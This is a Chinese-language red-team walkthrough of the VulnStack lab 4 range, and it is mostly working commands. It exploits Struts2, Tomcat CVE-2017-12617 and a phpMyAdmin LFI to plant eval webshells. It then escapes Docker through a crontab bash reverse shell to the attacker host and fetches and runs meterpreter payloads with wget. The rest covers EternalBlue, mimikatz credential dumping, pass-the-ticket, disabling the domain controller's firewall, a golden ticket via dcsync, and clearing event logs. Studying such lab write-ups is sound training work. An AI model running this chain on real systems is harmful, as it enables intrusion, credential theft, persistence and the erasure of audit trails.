VulnStack|红日靶场——红队评估四
- 信息收集及漏洞利用
扫描跟kali处在同一网段的设备,找出目标IP
arp-scan -l
扫描目标端口
nmap -p- -n -O -A -Pn -v -sV 192.168.126.154
3个端口上有web服务,分别对应三个漏洞环境 :2001——Struts2、2002——Tomcat、2003——phpMyAdmin
- Struts2 GetShell
通过 Struts2 漏洞扫描工具,发现存在 s2-045 和 s2-046 两个漏洞
上传蚁剑jsp一句话
上传以后用蚁剑连接
- Tomcat GetShell
访问2002端口,发现Tomcat服务,并且版本为8.5.19
搜索该版本漏洞exp,查看exp脚本发现漏洞CVE-2017-12617 ,该漏洞可以通过PUT方法和 / 绕过上传jsp文件,导致任意代码执行。
#搜索漏洞searchsploit tomcat 8.5.19#进入exploitdb目录exploitdb#复制exp到桌面cp exploits/jsp/webapps/42966.py ~/Desktop#切换到桌面目录cd /root/桌面#上传文件python 42966.py -u http://192.168.126.154:2002 -p pwn
访问Poc.jsp发现可以利用,Getshell并且获得root权限
- phpmyadmin GetShell
访问2003端口,发现为 phpmyadmin 控制台
phpmyadmin GetShell需要知道网站的绝对路径,通过目录扫描虽然扫出来了 phpinfo.php 文件,但是无任何信息,可以通过查看 log 文件的路径来猜测网站的绝对路径,通过全局日志的路径猜测网站绝对路径为 /var/www/html/
SHOW VARIABLES LIKE "%log%"
在首页可以看到phpmyadmin的版本为4.8.1,使用Apache搭建的服务器
搜索该版本漏洞,发现存在本地文件包含漏洞(搜索出来的RCE脚本也是通过本地文件漏洞完成的)
searchsploit phpmyadmin 4.8.1exploitdbcp exploits/php/webapps/44924.txt ~/Desktop
使用payload读取passwd文件
http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd
查询phpinfo信息
select "<?php phpinfo();?>"
获取session值
获取session值后拼接路径读取session文件,就可以查看phpinfo信息
http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ 28a255f9a4c2836fc78bbcac9a60c8b3
根据phpinfo信息得知网站绝对路径为 /var/www/html,利用 file_put_contents 函数 GetShell,先把代码写入session中(要是session不刷新,可以先把原来的session删除后再执行)
#默认写入网站根目录
select '<?php file_put_contents("zmy.php","<?php @eval(\$_POST[zmy]);?>");?>';
拿到新的session后拼接执行代码
http://192.168.126.154:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ dc1d92d54ad0b8ecdbb74fab1b1e353b
蚁剑连接
- Docker逃逸
再拿到webshell之后,查看系统信息时发现系统名有点类似Docker容器,经过验证,确实是在Docker容器中
privileged特权模式启动容器逃逸,经检查只有Tomcat下的webshell是以特权模式启动的
cat /proc/self/status |grep Cap
挂载成功后,反弹shell到kali实现docker逃逸
#查看磁盘分区情况fdisk -l#新建目录mkdir /zxx#挂载宿主机磁盘到新建目录中mount /dev/sda1 /zmy#在kali上开启监听nc -lvvp 8888#切换到新建目录cd /zmy#新建.sh文件touch /zmy/zmy.sh#写入反弹shell命令到sh文件中echo "bash -i >& /dev/tcp/192.168.126.135/8888 0>&1" >/zmy/zmy.sh#把sh文件写入计划任务echo "* * * * * root bash /zmy.sh" >> /zmy/etc/crontab
反弹msf的shell到宿主机
#查询系统位数uname -m#生成对应位数payloadmsfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.126.135 lport=4444 -f elf > ~/Desktop/zmy.elf#打开msfconsolemsfconsole#启用监听use exploit/multi/handlerset payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.126.135set lport 4444run#在桌面上开启http服务python3 -m http.server#上传payload后,加权执行wget http://192.168.126.135:8080/zmy.elfchmod +x zmy.elf./zmy.elf &
msf反弹成功后,先做个计划任务维权
#添加特殊权限,不能删除更改文件chattr +i zmy.elf#创建计划任务每分钟运行一次echo '*/1 * * * * root /root/zmy.elf' >> /etc/crontab
- 横向移动——frp隧道搭建
查看网卡信息时发现存在其他网卡
fscan对c段进行扫描
通过扫描发现两台存活主机,并且都存在ms17-010漏洞,使用frp搭建隧道,kali做服务端,web做客户端, kali启动服务端,然后把客户端文件上传至web,加权后启动客户端
#kali服务端chmod +x frps./frps -c ./frps.toml#meterpreter中上传客户端upload ~/Desktop/frp/frpcupload ~/Desktop//frp/frpc.tomlchmod +x frpcnohup ./frpc -c frpc.toml >/dev/null 2>&1 &
添加socket代理(代理端口要跟 remotePort 转发端口也就是通信端口一致),然后通过proxychains代理启动msfconsole,然后使用ms17-010模块批量攻击
proxychains msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhosts 192.168.183.129-130set rport 445runsession
攻击完成后查看session,发现只拿下了win7
通过查看系统信息发现,win7在DEMO域环境内,加载kiwi抓取域成员账号密码
sysinfoload kiwikiwi_cmd privilege::debugkiwi_cmd sekurlsa::logonPasswords
登陆win7进行后续操作,使用mimikatz
#清除票据kerberos::purge#注入票据kerberos::ptc "TGT_douser@DEMO.COM.ccache"
注入完成后即可访问到域控目录
#查看域内成员net view#访问域管理员目录dir \\WIN-ENS2VR5TR3N\c$\"
生成正向 payload 先上传到 win7 再上传到dc
#生成payloadmsfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.126.135 lport=6666 -f exe > ~/Desktop/zmy.exe#上传到win7upload ~/Desktop/zmy.exe c:\\Users\\douser\\Desktop#复制文件到域控copy zmy.exe \\WIN-ENS2VR5TR3N\c$
上传完成后创建计划任务执行payload
#创建计划任务schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy" /TR C:\zmy.exe /SC MINUTE /MO 1 /ru system /f /RP#启用监听use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset rhost 192.168.183.130set lport 6666run#关闭域控防火墙echo netsh advfirewall set allprofiles state off > zmy.batcopy zmy.bat \\WIN-ENS2VR5TR3N\c$schtasks /create /S WIN-ENS2VR5TR3N /TN "zmy2" /TR C:\zmy.bat /SC MINUTE /MO 1 /ru system /f /RP
- 权限维持——黄金票据
制作黄金票据
load incognito 加载模块list_tokens -u 列出所有tokenimpersonate_token "DEMO\Administrator" 模拟tokenload kiwikiwi_cmd "lsadump::dcsync /domain:DEMO.COM /user:krbtgt" 获取用户hashgolden_ticket_create -d DEMO.COM -k 7c4ed692473d4b4344c3ba01c5e6cb63 -u zmy -s S-1-5-21-979886063-1111900045-1414766810 -t /root/桌面/zmy.ticketkerberos_ticket_use ~/Desktop/zmy.ticket 使用票据#列出所有票据 需要system权限creds_all
清理日志
#查看事件日志run event_manager -i#清除所有日志run event_manager -c